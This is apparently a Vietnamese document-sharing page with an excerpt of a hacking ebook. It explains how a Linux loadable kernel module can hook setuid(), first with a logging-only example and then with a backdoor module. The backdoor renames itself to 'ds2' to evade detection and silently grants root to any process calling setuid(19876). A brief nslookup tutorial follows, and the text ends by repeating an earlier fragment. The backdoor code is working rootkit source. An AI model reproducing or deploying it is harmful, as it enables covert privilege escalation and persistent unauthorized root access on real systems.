1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 262 ppt

6 115 0

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

ex: _http://psptalk.net/docs/CHANGELOG.html -> Code: phpBB 2.0.10 CHANGELOG nó là phpbb 2.0.10 >1 chút kinh nghiệm nhỏ thôi, cũng không đáng gì, chúc anh em vui black_hat_cr(HCE) getroot ID bằng cách chặn lời gọi hàm hệ thống setuid() Bài của Prof : Ở đây, tớ chỉ xin nêu thêm một phương pháp getroot ID bằng cách chặn lời gọi hàm hệ thống setuid(). Thực chất của phương pháp này là viết một LKM (Loadable Kernel Module) để can thiệp vào mức kernel của hệ thống mà bạn định getroot ID. Tớ xin nói thêm một chút về LKM. LKM thực chất là một object file chứa mã lệnh xử lý cho một mục đích nào đó được nạp vào kernel khi cần thiết. Nếu không có LKM, các sửa đổi áp đặt vào nhân Linux sẽ không thể tránh khỏi việc biên dịch và khởi động lại hệ thống. Ngoài ra, một lợi ích quan trọng của LKM là nó giúp cho kích thước nhân Linux không trở nên quá đồ sộ. Những module cần được sử dụng sẽ được nạp vào kernel bằng lệnh insmod, và khi không còn nhu cầu, module có thể được gỡ bỏ bằng lệnh rmmod. Hơn nữa, việc viết một LKM cũng sẽ đơn giản hơn nhiều so với việc viết thêm mã nguồn trực tiếp vào nhân Linux. Trở lại vấn đề viết một LKM để chặn lời gọi hàm hệ thống setuid(). Đầu tiên, mỗi LKM đều cần phải có 2 hàm cơ bản là init_module() và cleanup_module() tương ứng sẽ được gọi khi cài đặt và khi gỡ bỏ module. Sau đây là một ví dụ đơn giản, module logsetuid, về cách chặn lời gọi hàm setuid(): CODE #define __KERNEL__ #define MODULE #include <linux/config.h> #include <linux/modules.h> #include <linux/version.h> #include <sys/syscall.h> #include <linux/sched.h> #include <linux/types.h> int (*real_setuid) (uid_t); int new_setuid (uid_t); extern void *sys_call_table[]; int init_module() { real_setuid = sys_call_table[ SYS_setuid ]; sys_call_table[ SYS_setuid ] = (void *)new_setuid; return 0; } int cleanup_module() { sys_call_table[ SYS_setuid ] = (void *)real_setuid; return 0; } int new_setuid(uid_t uid) { int status; if ( !current->uid || uid == current->uid) return (*real_setuid)(uid); printk(“logsetuid: uid: %d euid:%d dest_uid:%d pid:%d proc:%d, current->uid, current->euid, uid, current->pid, current->comm”); printk(“status:%s\n”, (status = (*real_setuid) (uid)) ? “failed” : “succeeded”); return status; } Module này thực hiện việc chặn lời gọi hàm setuid() và ghi lại chúng thông qua klogd daemon, rồi chuyển cho syslogd để xử lý. Việc biên dịch và cài đặt module tuy có yêu cầu một số tùy chọn khác so với việc biên dịch các chương trình phía user space thông thường nhưng nó cũng không quá phức tạp. Phần này tôi xin dành cho bạn đọc tìm hiểu thêm. Hiện nay, có rất nhiều tài liệu trên mạng đều dạy cách viết & cài đặt một LKM từ A->Z. Trở lại với ví dụ trên, sau khi hoàn thành việc cài đặt module trên, bạn có thể viết một chương trình test chỉ đơn giản gọi hàm setuid() rồi quan sát qua kernel log. Bạn nên thực thi chương trình test này với các vai trò người dùng khác nhau, và chú ý với tài khoản root. Lý do là lời gọi hàm setuid() của chương trình test sẽ chỉ được thực thi thành công với quyền root (vì euid = 0) và có bit suid được lập. Mỗi dòng trong kernel log chứa các giá trị uid, processID, process name, và kết quả của việc gọi hàm setuid. Dưới đây là một ví dụ về kernel log: CODE logsetuid: uid: 500 euid: 500 dest_uid: 0 pid: 13552 proc: setuid_test status: failed logsetuid: uid: 500 euid: 500 dest_uid: 0 pid: 13624 proc: sh_copy status: failed logsetuid: uid: 705 euid: 705 dest_uid: 0 pid: 13680 proc: setuid_test1 status: failed logsetuid: uid: 500 euid: 0 dest_uid: 0 pid: 13802 proc: setuid_test2 status: succeeded Như vậy, với ví dụ này, ở đây chúng ta đã thực sự nắm lấy phần kiểm soát lời gọi hàm setuid() bằng đoạn mã xử lý trước của chúng ta. Trong trường hợp này, đoạn mã xử lý chỉ mang tính chất tham khảo – không gây hại. Tuy nhiên, cũng chính sức mạnh của kernel đã làm cho các loadable kernel module trở nên hữu dụng hơn đối với kẻ tấn công: CODE int new_setuid(uid_t); int (*real_setuid)(uid_t); extern void *sys_call_table[]; int init_module() { // Đổi tên module để tránh bị phát hiện. register struct module *mp asm(“%ebx”); *(char *) (mp->name) = ‘d’; *(char *) (mp->name+1) = ‘s’; *(char *) (mp->name+2) = ‘2’; *(char *) (mp->name+3) = ‘\0’; real_setuid = sys_call_table[ SYS_setuid ]; sys_call_table[ SYS_setuid ] = (void *) new_setuid; return 0; } int cleanup_module() { sys_call_table[ SYS_setuid ] = (void *) real_setuid; return 0; } int new_setuid(uid_t uid) { if (uid == 19876) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; return 0; } return (*real_setuid)(uid); } Đoạn code trên cũng thực hiện chức năng tương tự. Tuy nhiên, thay vì ghi lại thông tin, hàm new_setuid() sẽ thực hiện việc kiểm tra user ID được yêu cầu và nếu nó là 19876 sẽ set user ID hiện tại là 0. Bất kỳ lúc nào một chương trình gọi hàm setuid(19876), nó sẽ thành công và tiến trình này sẽ chạy với quyền ưu tiên là root mà không quan tâm đến việc ai kích hoạt tiến trình này. Vì bất kỳ lời gọi hàm hệ thống nào cũng có thể bị chặn, nên hiển nhiên là những đoạn mã “độc hại” nếu được “import” vào kernel có thể gây hậu quả xấu đến vấn đề bảo mật. Ứng dụng truyền thống các đoạn mã kiểu kernel module này thường là để che dấu các hành vi của một hacker nào đó và cấp quyền truy cập root. Như chúng ta thấy trong đoạn code trước, module này có thể thay đổi tên của chính nó để xuất hiện với tư cách hoàn toàn vô hại (chẳng hạn, nếu ds là một module thông dụng, và như vậy ds2 có thể là một cái tên nghe cũng “dễ chịu” ). Ngoài ra, còn có các kỹ thuật ẩn tên module, tránh bị phát hiện trong module list. Phần này xin dành cho bạn đọc tìm hiểu thêm. Tài liệu tham khảo thêm The Linux Kernel Module Programming Guide - P.J. Salzman Weakening the Linux Kernel - Phrack Magazine Hacking Linux Exposed - B.Hatch & J.Lee Giải mã địa chỉ IP Thực tế cho thấy, khi phần mềm tường lửa trên máy tính chặn đứng một hành động truy cập từ xa trái phép vào hệ thống, hoặc khi bộ lọc thư rác và trang web giả mạo loại bỏ một email đầy nghi vấn thì thông tin duy nhất mà những công cụ này cung cấp cho bạn chính là địa chỉ IP nơi phát sinh các hành vi trên. Khi đó, để kiểm tra danh tính (tên miền) của địa chỉ này là gì, bạn cần sử dụng nslookup - một chương trình dạng dòng lệnh trong Windows XP/Windows 2000. Bạn nhấn Start > Run, gõ vào lệnh command hay cmd, sau đó ấn . Trong cửa sổ dòng lệnh, gõ vào nslookup <địa chỉ IP>, ấn Enter. Sau đó, trên màn hình sẽ xuất hiện thông tin về máy chủ dịch vụ DNS được sử dụng để thực hiện tìm kiếm, theo sau là địa chỉ IP và tên miền mà bạn cần biết (Hình 1). Ngoài ra, nslookup cũng có khả năng phân giải một tên miền sang địa chỉ IP: cách thực hiện tương tự nhưng với tham số dòng lệnh là chính tên miền đó. Chuyển địa chỉ IP thành tên miền và địa chỉ máy chủ bằng lệnh nslookup. Nếu bạn sử dụng thiết bị router hay hub không dây, lệnh nslookup sẽ xuất hiện thông báo lỗi "default server are not available", nhưng vẫn cung cấp đầy đủ các thông tin cần thiết. Thông thường, chỉ cần biết tên miền của một địa chỉ IP là bạn đã có thể xác định được trang web đó có phải là giả mạo hay không; nhưng cũng có trường hợp, bạn muốn nhiều thông tin hơn. Để tìm số điện thoại, địa chỉ email và các thông tin khác . dụng truyền thống các đoạn mã kiểu kernel module này thường là để che dấu các hành vi của một hacker nào đó và cấp quyền truy cập root. Như chúng ta thấy trong đoạn code trước, module này

Ngày đăng: 04/07/2014, 12:20

Xem thêm: Hacker Professional Ebook part 262 ppt

TỪ KHÓA LIÊN QUAN